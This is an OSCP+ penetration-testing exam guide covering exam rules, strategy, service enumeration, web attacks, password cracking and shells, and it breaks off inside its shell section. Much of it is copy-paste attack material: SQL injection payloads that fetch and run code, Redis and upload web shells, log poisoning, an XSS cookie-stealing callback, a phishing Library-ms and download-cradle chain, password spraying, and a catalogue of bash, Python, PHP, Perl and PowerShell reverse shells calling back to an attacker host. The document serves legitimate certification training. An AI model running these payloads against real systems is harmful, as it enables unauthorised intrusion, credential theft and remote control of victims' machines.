OSCP PREP · v2.1

OSCP Ultimate Guide

An end-to-end, interactive guide for the OSCP+ exam: rules and scoring, strategy, enumeration, web, passwords, shells, file transfer, Linux/Windows privilege escalation, Active Directory, pivoting and reporting.

Every code block copies with one click. Enter your LHOST once in the side menu and it is substituted into every command. My lab notes from Hack The Box and Proving Grounds machines are on the blog.

0. How to use this guide

There are three ways to use it:

  1. Before the exam: read sections 1–2 end to end (rules + strategy). For every command in the other sections that you do not know, run it at least once on a lab machine. A command you try for the first time in the exam is a command that does not work.
  2. During the exam: sections 3–11 are for copy and paste. Every code block has a Copy button in its top-right corner.
  3. When you are stuck: the 30-minute rule, the Linux decision table, the Windows decision table and the AD decision tree.

Variables. Every command uses the variables below; there are no hard-coded IPs. For each new target, change only IP.

# ~/exam/vars.sh  →  in every tmux window:  source ~/exam/vars.sh
export LHOST=$(ip -4 -o addr show tun0 | awk '{print $4}' | cut -d/ -f1)   # your VPN IP
export LPORT=443
export IP=192.168.x.x                 # the current target
export DC=10.10.x.x DOMAIN=corp.local USER=user PASS='Passw0rd!'

There are no variables on the target side (in a Windows/Linux shell): in commands you paste there, replace LHOST with your own IP. Anything in angle brackets (<NTLM>, <PID>) is filled in by hand.


1. OSCP+ exam rules and scoring

Rules change — read the official guide before the exam

This section was checked on 31 October 2026 against the official OSCP+ Exam Guide (help.offsec.com, the version updated that same day), the OSCP+ Scoring Update blog post and the Equated Scaled Scoring FAQ. OffSec updates its rules often: re-read these pages one week before your exam. If this guide conflicts with the official guide, the official guide wins.

Scoring changes from 1 December 2026

Exams starting on or after 1 December 2026 08:00 GMT use equated scaled scoring. According to OffSec you should no longer "use 70 points, or any other raw score, as a passing target"; the raw score alone does not decide whether you pass. The result is announced after grading. There is no published numeric pass mark (figures circulating online such as "400 out of 500" are not official). Exam content, machine layout, duration, proof and report rules do not change. Exams taken up to 30 November 2026 keep the old rule: 70 out of 100. If you reschedule an exam booked before 1 December to a date after it, you are graded with the new method. In practice the goal is the same in both cases: as many machines as possible + a flawless report, and always submit the report even if you think your points are enough.

1.1 Exam structure

Item Value
Duration 23 hours 45 minutes (proctored)
Report A further 24 hours after the exam ends
Standalone machines 3 × 20 points (10 local.txt + 10 proof.txt)
AD set 3 machines = 40 raw points (machine #1: 10, #2: 10, #3: 20)
AD starting point Assumed breach: you are given a username + password
Total / pass 100 raw points. Up to 30 November 2026: pass with 70. From 1 December 2026: scaled scoring, no fixed raw pass mark (see the warning above)
Bonus points None. Removed on 1 November 2024.
Reverts Up to 24 from the control panel; the counter can be reset once during the exam
Partial points Explicitly stated in the guide for standalone machines (low-privilege and full privilege). For AD the guide only lists points per machine; it does not mention partial points separately

1.2 The 70-point math (exams up to 30 November 2026)

This table uses the old 70/100 rule. From 1 December 2026 there is no fixed threshold, but the table still shows which combinations are "strong".

Passing combinations (no bonus):

Profile Calculation Total
Full AD + 1.5 standalone 40 + 20 + 10 70 ✅
Full AD + 2 standalone 40 + 20 + 20 80 ✅
3 full standalone + 1 AD machine 60 + 10 70 ✅
3 full standalone + 2 AD machines 60 + 20 80 ✅
Full AD only 40 ❌
3 full standalone only 60 ❌

Takeaway: you cannot pass with a single area. The safest route is to finish the AD set and add at least 30 points from standalone machines. On standalone machines initial access (local.txt) is usually easier than privesc: local.txt on all three machines is 30 points.

1.3 Restrictions (things that can zero your score)

Rule What it means in practice
Metasploit on one machine only exploit/auxiliary/post modules and Meterpreter only on the single target you choose. The check command also counts as use (you cannot try it everywhere first and then choose). The moment you start, you are locked to that target; even if the attack fails you cannot use it on another target. You cannot pivot with Metasploit (it counts as use on more than one target).
msfvenom and multi/handler Allowed on every machine. Meterpreter payloads, however, fall under the single-target rule above.
Automatic exploitation tools are banned sqlmap, sqlninja, db_autopwn, browser_autopwn and so on. Know how to do SQLi manually.
Mass vulnerability scanners are banned Nessus, NeXpose, OpenVAS, Canvas, Core Impact, SAINT and so on. Allowed examples: Nmap (including NSE), Nikto, Burp Free, DirBuster
Other tools with banned functionality A feature of another tool that uses banned/restricted functionality is also banned (for example an automatic exploitation module inside a tool)
Spoofing is banned ARP / DNS / NBNS / LLMNR poisoning. Do not poison with Responder.
Commercial tools are banned Burp Suite Pro, Cobalt Strike, Metasploit Pro and so on. Burp Community is allowed.
AI / LLMs are banned OffSec KAI, ChatGPT, Deepseek, Gemini, Claude and so on are "strictly prohibited" — including while writing the report. You do not have to switch off built-in AI features in tools such as Notion or Google AI Overview (details: "AI Usage Policy in OffSec Exams").
Communication Talking to anyone else or posting on forums/Discord is banned.

Techniques that conflict with this table (sqlmap, Responder, Meterpreter on more than one machine) either do not appear in this guide or are labelled "banned/restricted in the exam".

1.4 When points are awarded

  • local.txt / proof.txt must be read in an interactive shell on the target, with cat / type, from the file's own location. Proof obtained any other way means zero points for that target — the guide explicitly includes "any form of web-based shell" (reading the file through LFI/SQLi does not count either).
  • Shell privilege for proof.txt: root on Linux, SYSTEM / Administrator / a user with administrative rights on Windows. proof.txt is in /root/ or on the Administrator's desktop; local.txt can be read with an unprivileged account.
  • The screenshot must show the flag contents + the target's IP address (ipconfig / ifconfig / ip addr). No screenshot means zero points for that target. (Adding whoami/id and the hostname makes the proof stronger.)
  • Submit the flag in the Exam Control Panel before the exam ends. The panel does not tell you whether the value you entered is correct — watch out for copy-paste errors.
  • The full-points objectives for every machine are listed in the control panel; read them at the start of the exam.
  • The steps in the report must be detailed enough for a technical reader to reproduce them step by step. The guide: "documentation requirements are very strict"; insufficient documentation reduces your points or zeroes them.

All the proof in a single frame:

# Linux
hostname; id; ip a | grep inet; cat /root/proof.txt
# Windows (cmd)
hostname & whoami & ipconfig | findstr IPv4 & type C:\Users\Administrator\Desktop\proof.txt

1.5 Common ways to lose points

  • Reading the flag from a web shell (not an interactive shell).
  • No IP/hostname in the screenshot.
  • Forgetting to submit the flag in the panel, or mixing up the flags of two machines (note every flag together with its hostname).
  • Using Metasploit/Meterpreter on a second machine without noticing.
  • Modifying an exploit without documenting the change in the report (which line, and why).
  • Assuming the control panel "validates" the flag (it does not).
  • Not submitting the report because you think your points are enough (OffSec: submit the report whatever your score).

2. Strategy, time and note discipline

2.1 Time plan (09:00 start example)

Time Task
08:15–09:00 Proctor checks, VPN, vars.sh, tmux, note templates
09:00–13:00 AD set (enum with the given user → machine 1 → machine 2 → DC)
13:00–13:45 Break: food, away from the screen
13:45–17:45 Standalone machines A and B — at most 2 hours each, then park it
17:45–18:30 Break
18:30–21:30 Standalone machine C + a second round on the parked ones
21:30–22:00 Points check: which flags are in the panel? Are the screenshots complete?
22:00–03:00 Missing privescs / whatever you are stuck on
03:00–07:00 Sleep (set an alarm; tell the proctor you are taking a break)
07:00–08:45 Last attempts with a fresh head + missing screenshots + tidy up your notes
  • You get a separate 24 hours for the report; spend the last hours of the exam collecting proof, not writing the report. Access to the machines ends with the exam — a missing screenshot cannot be taken afterwards.
  • Once you have a serious number of points (70 under the old rule): stop, double-check all proof and panel entries, then carry on. After 1 December 2026 there is no fixed threshold, so do not stop at "that's enough"; keep going while you have time.
  • Tell the proctor about every break in the chat.

2.2 Environment setup (once)

mkdir -p ~/exam/{recon,exploits,loot,notes,screens,tools}
cd ~/exam && tmux new -s exam
# Window layout:  0: http.server   1: listener   2: commands   3: notes
# Ctrl+b c  new window   Ctrl+b n/p  switch   Ctrl+b %  vertical split
script -a ~/exam/notes/session-$(date +%F).log      # full terminal log

Download in advance and keep ready under ~/exam/tools/ (do not waste exam time going to GitHub):

Linux Windows AD / pivot
linpeas.sh, pspy64, lse.sh winPEASx64.exe, winPEAS.bat, PowerUp.ps1, SharpUp.exe SharpHound.exe/.ps1, PowerView.ps1, Rubeus.exe
linux-exploit-suggester.sh PrintSpoofer64.exe, GodPotato-NET4.exe, JuicyPotatoNG.exe mimikatz.exe (x64), RunasCs.exe
socat (static), nc (static) nc64.exe, accesschk64.exe, Seatbelt.exe chisel (linux+windows), ligolo-ng proxy + agent (linux+windows)

2.3 Note template (copy for every target)

# <IP> — <hostname> — <OS>
## Ports / services
## Credentials found
| user | password / hash | source | where tried | result |
## Paths tried
- [x] /admin login — default creds DID NOT WORK
- [ ] SMB share "backup" — not downloaded
## Initial access   (commands + modified exploit lines)
## Privesc          (commands)
## Flags            local: ____ (in panel ✔)   proof: ____ (in panel ✔)
## Screenshots      01-<host>-local.png ...

The report is a cleaned-up version of these notes. Paste every command that produced a result here (and every line you changed in an exploit).

2.4 The 30-minute rule (when you are stuck)

If you have had no new information (port, directory, user, error message, credential) for 30 minutes:

  1. Stop. Step away from the screen for 2 minutes.
  2. Did the full TCP scan finish? Did you really read the -p- results? Did you check UDP (161!)?
  3. Write down the exact version of every service and search each one in searchsploit + Google.
  4. Web: source code, JS files, comments, /.git/, backup files, vhosts, other extensions (-x php,txt,bak,zip).
  5. Did you try every credential on every service? (see 2.5) Did you try the username as the password?
  6. Go back to whatever you called "empty" earlier (a file on anonymous FTP, a share on SMB).
  7. Still nothing: park it and move to another machine. Do not fall into the sunk-cost trap.

2.5 Credential reuse matrix

The moment you find a new password/hash:

Found Try immediately
Any password SSH, SMB, WinRM, RDP, MSSQL, web login, su with every known user
Web / CMS admin SSH and the DB with the same password; RCE features in the admin panel
DB password (config file) The user table in the DB (hashes), SSH / su with the same password
id_rsa chmod 600; try it with every user; ssh2john if it has a passphrase
NTLM hash Pass-the-Hash before cracking: nxc smb/winrm, evil-winrm -H, impacket-*exec -hashes
Local Administrator hash nxc smb <subnet> -u administrator -H <NTLM> --local-auth (local admin password reuse)
Kerberoast / AS-REP hash hashcat -m 13100 / -m 18200 → password → try it everywhere
.kdbx (KeePass) keepass2john → crack → every password inside
Domain user list Spray the passwords you found against this list (mind the lockout policy)
# Bulk attempts in one command (users and passwords in files)
nxc smb $IP   -u users.txt -p passwords.txt --continue-on-success
nxc winrm $IP -u users.txt -p passwords.txt --continue-on-success
nxc ssh $IP   -u users.txt -p passwords.txt --continue-on-success
nxc rdp $IP   -u users.txt -p passwords.txt --continue-on-success
nxc mssql $IP -u users.txt -p passwords.txt --continue-on-success

What does (Pwn3d!) mean?

If you see (Pwn3d!) in nxc output, that user is a local admin on that machine (SMB) or can run commands (WinRM). Go straight in with impacket-psexec / evil-winrm.


3. Recon and service enumeration

3.1 Nmap — one workflow

cd ~/exam/recon
# 1) All TCP ports (start in the background, look at the web while you wait)
sudo nmap -p- --min-rate 5000 -Pn -oN $IP-all.txt $IP
# 2) Versions + default scripts on the open ports
PORTS=$(grep -oP '^\d+(?=/tcp\s+open)' $IP-all.txt | paste -sd,)
sudo nmap -sC -sV -p$PORTS -Pn -oA $IP-svc $IP
# 3) UDP (always, for SNMP, TFTP, DNS)
sudo nmap -sU --top-ports 50 -Pn --open -oN $IP-udp.txt $IP
Situation What to do
--min-rate 5000 seems to miss ports Repeat with -T4 --max-retries 2, or rustscan -a $IP -- -sC -sV
Every port filtered Is -Pn set? Slower: -T3; ICMP may be blocked
Odd service nmap -sV --version-all -p<port>, banner with nc -nv $IP <port>
Only a few ports The attack surface is small: dig into those services very deeply

Useful NSE: --script vuln (general), smb-vuln-ms17-010, http-enum, ftp-anon, nfs-showmount, snmp-*.

3.2 Port → first things to do

Port Service First check
21 FTP anonymous, write access (if it is the web root → shell), version CVEs
22 SSH keys/passwords you found; rarely a CVE
25/587 SMTP VRFY/RCPT user enum; sending e-mail for client-side attacks
53 DNS zone transfer (AXFR), subdomains
80/443/8080… HTTP Section 4
88 Kerberos Sign of a DC; kerbrute userenum, AS-REP
111/2049 NFS showmount -e, no_root_squash
135/139/445 RPC/SMB null/guest session, shares, RID brute, signing
161/udp SNMP public community, users, passwords in process arguments
389/636/3268 LDAP anonymous bind, passwords in user descriptions
1433 MSSQL sa / domain auth, xp_cmdshell, xp_dirtree
3306 MySQL root with an empty password, INTO OUTFILE, UDF
3389 RDP log in with credentials you found (GUI → easier privesc enum)
5432 PostgreSQL postgres:postgres, COPY ... FROM PROGRAM → RCE
5985/5986 WinRM evil-winrm (password or hash)
6379 Redis no auth → write to the web root / SSH key / cron
27017 MongoDB is there no auth?

3.3 FTP (21)

ftp anonymous@$IP                 # password: empty or anonymous
# ftp>  passive / binary / ls -la / get file / put test.txt
wget -m --no-passive ftp://anonymous:anonymous@$IP     # download everything
nmap -p21 --script ftp-anon,ftp-syst $IP

3.4 SMB / RPC (139, 445)

# Null and guest sessions
nxc smb $IP -u '' -p '' --shares
nxc smb $IP -u 'guest' -p '' --shares
smbclient -N -L //$IP
smbmap -H $IP -u guest

# User list: RID brute (very valuable if guest/null works)
nxc smb $IP -u guest -p '' --rid-brute 4000 | grep SidTypeUser
impacket-lookupsid guest@$IP -no-pass

# General enum
enum4linux-ng -A $IP
rpcclient -U '' -N $IP        # > enumdomusers  > querydispinfo (passwords in descriptions!)

# Download a whole share
smbclient //$IP/share -N -c 'prompt OFF; recurse ON; mget *'
# or, with credentials, hunt files across every readable share
nxc smb $IP -u $USER -p $PASS -M spider_plus -o DOWNLOAD_FLAG=True
Finding Meaning
READ share Look for configs, scripts, backups, .kdbx, .xml (GPP)
WRITE share If it is a web root → shell; if users browse the share → capture NetNTLMv2 with a .lnk/.url (only with your own impacket-smbserver, not spoofing)
signing:False Relay is possible (advanced technique outside the exam, see 10.10)

3.5 SNMP (161/udp)

onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt $IP
snmpwalk -v2c -c public $IP | tee snmp.txt
snmpbulkwalk -v2c -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects   # custom script output (passwords!)
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.5    # process arguments
snmpwalk -v2c -c public $IP 1.3.6.1.4.1.77.1.2.25     # Windows users
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.6.3.1.2    # installed software

3.6 LDAP / Kerberos (389, 88)

ldapsearch -x -H ldap://$IP -s base namingcontexts
ldapsearch -x -H ldap://$IP -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName description
# With credentials
nxc ldap $IP -u $USER -p $PASS --users            # read the description fields
# Username validation (no credentials needed)
kerbrute userenum -d $DOMAIN --dc $IP /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

3.7 NFS, SMTP, DNS, databases, Redis

# NFS
showmount -e $IP
sudo mount -t nfs -o vers=3,nolock $IP:/export /mnt/nfs     # then ls -lan
# SMTP user enum
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t $IP
# DNS
dig axfr @$IP $DOMAIN
# MySQL
mysql -h $IP -u root -p --skip-ssl
# MSSQL
impacket-mssqlclient $USER:$PASS@$IP -windows-auth       # domain account
impacket-mssqlclient sa:$PASS@$IP                        # SQL account
# PostgreSQL → RCE (if superuser)
psql -h $IP -U postgres
#   CREATE TABLE c(o text); COPY c FROM PROGRAM 'id'; SELECT * FROM c;
# Redis
redis-cli -h $IP info

Redis (no auth) → web shell or SSH key:

redis-cli -h $IP config set dir /var/www/html
redis-cli -h $IP config set dbfilename shell.php
redis-cli -h $IP set x '<?php system($_GET["c"]); ?>'
redis-cli -h $IP save
# SSH key (if the redis user's home or /root/.ssh is writable)
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h $IP -x set k
redis-cli -h $IP config set dir /var/lib/redis/.ssh
redis-cli -h $IP config set dbfilename authorized_keys
redis-cli -h $IP save

4. Web applications

4.1 Web priority order

  1. Browse the site like a user (Burp Community open, proxy history recording). Source code, comments, JS files.
  2. Technology: whatweb -a 3 http://$IP, response headers, cookie names, the error page. If you find a version number, look for an exploit straight away.
  3. /robots.txt, /sitemap.xml, /.git/HEAD, /.env, /backup, /admin.
  4. Directory/file discovery (with extensions) and vhost discovery.
  5. If there is a login: default credentials → user enum → SQLi → weak password brute force.
  6. Every parameter: SQLi, LFI/traversal, command injection, SSTI.
  7. If there is a file upload: extension/content bypass.

4.2 Content and vhost discovery

W=/usr/share/seclists/Discovery/Web-Content
feroxbuster -u http://$IP -w $W/raft-medium-directories.txt -x php,txt,html,bak,zip -t 50 -o ferox.txt
ffuf -u http://$IP/FUZZ -w $W/raft-medium-files.txt -ac                   # files
gobuster dir -u http://$IP -w $W/directory-list-2.3-medium.txt -x php,txt -t 40 -b 404,403

# vhosts (add to /etc/hosts first: echo "$IP site.htb" | sudo tee -a /etc/hosts)
ffuf -u http://$IP -H "Host: FUZZ.$DOMAIN" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -ac

# Parameter discovery
ffuf -u "http://$IP/page.php?FUZZ=test" -w $W/burp-parameter-names.txt -ac

-ac (auto-calibration) filters out false positives; if that is not enough, filter manually with -fs <size>, -fc 404, -fw <words>.

If you find an exposed .git:

git-dumper http://$IP/.git ./repo && cd repo
git log -p | grep -iE 'pass|secret|key|token' ; git show <commit>

4.3 Default credentials

Application Try
Tomcat Manager tomcat:s3cret, tomcat:tomcat, admin:admin
Jenkins admin:admin, is sign-up open?
phpMyAdmin / MySQL root: (empty), root:root
Grafana / Zabbix / GLPI admin:admin, Admin:zabbix, glpi:glpi
MSSQL sa: (empty), sa:sa
General admin:admin, admin:password, username = password, product name = password

Unknown product: search for "<product name> default password".

4.4 SQL injection (manual — sqlmap is banned in the exam)

Detection:

'
' OR 1=1-- -
' AND 1=1-- -     ↔     ' AND 1=2-- -     -- does the page change? (boolean)
' AND SLEEP(5)-- -                         -- MySQL time-based
'; WAITFOR DELAY '0:0:5'-- -               -- MSSQL
'; SELECT pg_sleep(5)-- -                  -- PostgreSQL

Pulling data with UNION (MySQL):

' ORDER BY 1-- -                    -- increase until it errors → N columns
' UNION SELECT 1,2,3,4-- -          -- find the column shown on screen
' UNION SELECT 1,database(),user(),@@version-- -
' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT 1,group_concat(username,0x3a,password),3,4 FROM users-- -

File read/write → RCE (MySQL, FILE privilege):

' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -
' UNION SELECT 1,'<?php system($_GET["c"]); ?>',3,4 INTO OUTFILE '/var/www/html/s.php'-- -

MSSQL → command execution (stacked queries):

'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- -
'; EXEC xp_cmdshell 'powershell -c "IEX(IWR http://LHOST/rev.ps1 -UseBasicParsing)"';-- -

PostgreSQL → command:

'; CREATE TABLE c(o text); COPY c FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/LHOST/443 0>&1"';-- -

With blind SQLi, extract the data character by character: ' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- -. Automating this with Burp Intruder (Community) or a short Python loop is allowed, because it is your own script.

4.5 Directory traversal / LFI / RFI

../../../../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
C:\Windows\System32\drivers\etc\hosts      (Windows: try ..\..\..\ )
php://filter/convert.base64-encode/resource=index.php    → read the source code
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id

Valuable files to read: /home/*/.ssh/id_rsa, /var/www/html/config.php, wp-config.php, /etc/apache2/sites-enabled/000-default.conf, C:\inetpub\wwwroot\web.config, C:\xampp\apache\conf\httpd.conf, C:\Users\<user>\.ssh\id_rsa.

Log poisoning (LFI → RCE):

curl -s "http://$IP/" -A '<?php system($_GET["c"]); ?>'
curl "http://$IP/index.php?page=/var/log/apache2/access.log&c=id"
# Windows XAMPP: C:\xampp\apache\logs\access.log

RFI (if allow_url_include=On): ?page=http://LHOST/shell.php&c=id (python3 -m http.server 80 on Kali).

4.6 File upload bypass

shell.php  shell.phtml  shell.php5  shell.phar  shell.pHp       (extension list)
shell.php.jpg  shell.jpg.php                                    (double extension)
Content-Type: image/jpeg    + GIF89a; at the start of the body  (MIME/magic)
.htaccess  →  AddType application/x-httpd-php .xyz              (then upload shell.xyz)
shell.aspx / shell.asp / web.config                             (IIS)

After the upload: where did the file go? (/uploads/, a URL in the response). If it does not work: is the file being renamed, can you write to another directory with path traversal (../../shell.php)? Writing an SSH key as ../../../../root/.ssh/authorized_keys is a classic PEN-200 scenario.

Minimal web shells:

<?php system($_GET['c']); ?>
<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd.exe","/c " + Request["c"]); %>

Ready-made on Kali: /usr/share/webshells/ (php, asp, aspx, jsp) and /usr/share/laudanum/.

4.7 Command injection

; id    | id    || id    & id    && id    $(id)    `id`    %0aid

If it is blind: ; sleep 5, or ; curl http://LHOST/$(whoami) (watch the http.server log on Kali), or ; ping -c 2 LHOST (sudo tcpdump -i tun0 icmp).

On Windows, find out whether the command runs in cmd or PowerShell:

(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell

Filter bypass: ${IFS} instead of a space; w'h'o'a'm'i for a blocked word; if everything is blocked, echo <base64> | base64 -d | bash.

4.8 SSTI

${{<%[%'"}}%\.          ← if this errors, there is a template engine
{{7*7}}  → 49  : Jinja2 / Twig      {{7*'7'}} → 7777777 Jinja2,  49 Twig
${7*7}   → 49  : Freemarker / Velocity
<%= 7*7 %> → 49 : ERB (Ruby)
Jinja2:  {{ lipsum.__globals__["os"].popen("id").read() }}
Twig:    {{['id']|filter('system')}}
Freemarker: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

4.9 XSS, XXE, SSRF (short)

  • XSS (a PEN-200 topic): a payload in a field the admin views (User-Agent, comment, contact form) → the admin's cookie (if it is not HttpOnly) or a request on the admin's behalf (for example JS that creates a new admin user in WordPress). <script>fetch('http://LHOST/?c='+document.cookie)</script>
  • XXE: <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r> — try it on every endpoint that accepts XML, and on SVG/DOCX uploads.
  • SSRF: scan internal services with http://127.0.0.1:<port>/; on Windows, use your own SMB server with \\LHOST\x / http://LHOST to capture the service account's NetNTLMv2 (impacket-smbserver, or responder -A which does no poisoning).

4.10 Known applications and classic CVEs

# WordPress
wpscan --url http://$IP -e vp,vt,u --plugins-detection aggressive
#   once admin: Appearance → Theme File Editor → 404.php  or  upload a plugin zip containing a shell
# Tomcat Manager → WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o rev.war
curl -u 'tomcat:s3cret' -T rev.war "http://$IP:8080/manager/text/deploy?path=/rev"
curl http://$IP:8080/rev/
# Jenkins Script Console (/script)
#   println "id".execute().text
# Drupal / Joomla
droopescan scan drupal -u http://$IP ;  joomscan -u http://$IP
Software Version Note
Apache httpd 2.4.49 / 2.4.50 CVE-2021-41773 / 42013 path traversal → RCE (if CGI is enabled)
Samba 3.0.20–3.0.25rc3 usermap_script CVE-2007-2447
Samba 3.5.0–4.6.4 SambaCry CVE-2017-7494 (writable share)
vsftpd 2.3.4 backdoor
Drupal 7.x / 8.x Drupalgeddon2 CVE-2018-7600
Webmin 1.890–1.920 CVE-2019-15107
Windows SMBv1 unpatched 2008/7 MS17-010 (EternalBlue)
Grafana 8.0.0–8.3.0 CVE-2021-43798 path traversal
Elasticsearch 1.4.x CVE-2015-1427

4.11 Finding and adapting exploits

searchsploit "<product> <version>"
searchsploit -m <EDB-ID>          # copy
searchsploit -x <EDB-ID>          # read
# On GitHub: "<CVE> poc" — but READ the code first

Always before running one: (1) read the code — what does it do, where are LHOST/LPORT/URL/path? (2) Python 2 or 3? (3) Does it match the target version? (4) Do the default user/password/path need changing? If it errors, read the error message: most of the time it is a missing module, a wrong path or HTTPS vs HTTP. Note every line you change, for the report.

# Compiling a Windows exploit on Kali
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe          # 64-bit
i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32   # 32-bit + winsock

4.12 Client-side attacks (e-mail / phishing scenario)

If the target environment has SMTP and there is a hint that "a user reads e-mail":

# 1) WebDAV server
pip3 install wsgidav
mkdir ~/webdav && wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root ~/webdav/

A config.Library-ms file (when the user opens it, Explorer shows your WebDAV share):

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name><version>6</version>
<isLibraryPinned>true</isLibraryPinned><iconReference>imageres.dll,-1003</iconReference>
<templateInfo><folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType></templateInfo>
<searchConnectorDescriptionList><searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation><isSupported>false</isSupported>
<simpleLocation><url>http://LHOST</url></simpleLocation>
</searchConnectorDescription></searchConnectorDescriptionList>
</libraryDescription>

Put a .lnk in the WebDAV folder (created on a Windows machine; as the target): powershell.exe -c "IEX(New-Object Net.WebClient).DownloadString('http://LHOST:8000/powercat.ps1'); powercat -c LHOST -p 443 -e powershell"

# 2) Send it by e-mail
swaks -t user@$DOMAIN --from it@$DOMAIN --server $IP --auth LOGIN --auth-user $USER --auth-password $PASS \
      --header "Subject: Config" --body "Please open the attached file." --attach @config.Library-ms

In an Office macro scenario: AutoOpen/Document_Open → PowerShell download cradle inside a .doc (the old macro-enabled format).


5. Passwords and hashes

5.1 Brute force and spraying

hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://$IP -t 4
hydra -L users.txt -P pass.txt ftp://$IP
hydra -l admin -P rockyou.txt $IP http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid"
hydra -l admin -P rockyou.txt $IP http-get /admin/          # Basic auth
hydra -l administrator -P pass.txt rdp://$IP -t 1

# Domain spraying: check the policy first!
nxc smb $DC -u $USER -p $PASS --pass-pol
nxc smb $DC -u users.txt -p 'Winter2026!' --continue-on-success
kerbrute passwordspray -d $DOMAIN --dc $DC users.txt 'Winter2026!'

Rule: if there is a lockout threshold, make threshold−1 attempts per user, then wait for the observation window. Brute force is the last resort; first build passwords from context:

cewl http://$IP -d 2 -m 5 -w cewl.txt                       # wordlist from the site
hashcat --stdout cewl.txt -r /usr/share/hashcat/rules/best64.rule > mutated.txt
# Your own rule:  c $1 $! → capitalise the first letter + "1!"   (echo 'c $1 $!' > my.rule)

5.2 Hash types

Hash Looks like hashcat -m
NTLM 31d6cfe0d16ae931b73c59d7e0c089c0 1000
NetNTLMv2 user::DOMAIN:1122..:... 5600
Kerberoast (RC4) $krb5tgs$23$*... 13100
AS-REP $krb5asrep$23$... 18200
MD5 / SHA1 / SHA256 32 / 40 / 64 hex 0 / 100 / 1400
md5crypt / sha512crypt $1$ / $6$ 500 / 1800
bcrypt $2y$10$... 3200
KeePass $keepass$*2*... 13400
Net-NTLMv1 user::DOMAIN:... 5500
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 13100 kerb.txt rockyou.txt --show
hashcat hash.txt --identify            # type detection (hashid works too)
john --wordlist=rockyou.txt hash.txt ; john --show hash.txt

Try Pass-the-Hash first (seconds), then crack (minutes to hours).

5.3 File passwords (*2john)

ssh2john id_rsa > h.txt               # passphrase-protected SSH key
keepass2john Database.kdbx > h.txt    # KeePass (for hashcat remove the leading "Database:", -m 13400)
zip2john backup.zip > h.txt
office2john doc.docx > h.txt
pdf2john file.pdf > h.txt
john --wordlist=/usr/share/wordlists/rockyou.txt h.txt
# Open the KeePass database
keepassxc-cli ls Database.kdbx ; keepassxc-cli show -s Database.kdbx "Entry Name"

6. Shells

6.1 Reverse shell catalogue

Replace LHOST and 443 when you paste on the target. On Kali: rlwrap -cAr nc -lvnp 443.

bash -c 'bash -i >& /dev/tcp/LHOST/443 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST 443 >/tmp/f
nc -e /bin/bash LHOST 443
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",443));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/bash","-i"])'
php -r '$s=fsockopen("LHOST",443);exec("/bin/sh -i <&3 >&3 2>&3");'
perl -e 'use Socket;$i="LHOST";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

From inside a web parameter (when special characters cause trouble), base64 it:

# Generate on Kali
echo -n 'bash -i >& /dev/tcp/LHOST/443 0>&1' | base64 -w0
# Run on the target
echo <B64> | base64 -d | bash

Windows / PowerShell — the most reliable way: generate on Kali, run as base64 UTF-16LE:

# On Kali: (LHOST comes from the variable)
cat > rev.ps1 <<EOF
\$c=New-Object Net.Sockets.TCPClient('$LHOST',443);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){\$d=(New-Object Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$r2=\$r+'PS '+(pwd).Path+'> ';\$sb=([Text.Encoding]::ASCII).GetBytes(\$r2);\$s.Write(\$sb,0,\$sb.Length);\$s.Flush()};\$c.Close()
EOF
echo "powershell -nop -w hidden -e $(iconv -t UTF-16LE rev.ps1 | base64 -w0)"
# Run the resulting single line on the target (cmd, web RCE, xp_cmdshell...).

Alternatives: nc64.exe -e cmd.exe LHOST 443 (after uploading it to the target), powercat:

IEX(New-Object Net.WebClient).DownloadString('http://LHOST/powercat.ps1');powercat -c LHOST -p 443 -e powershell

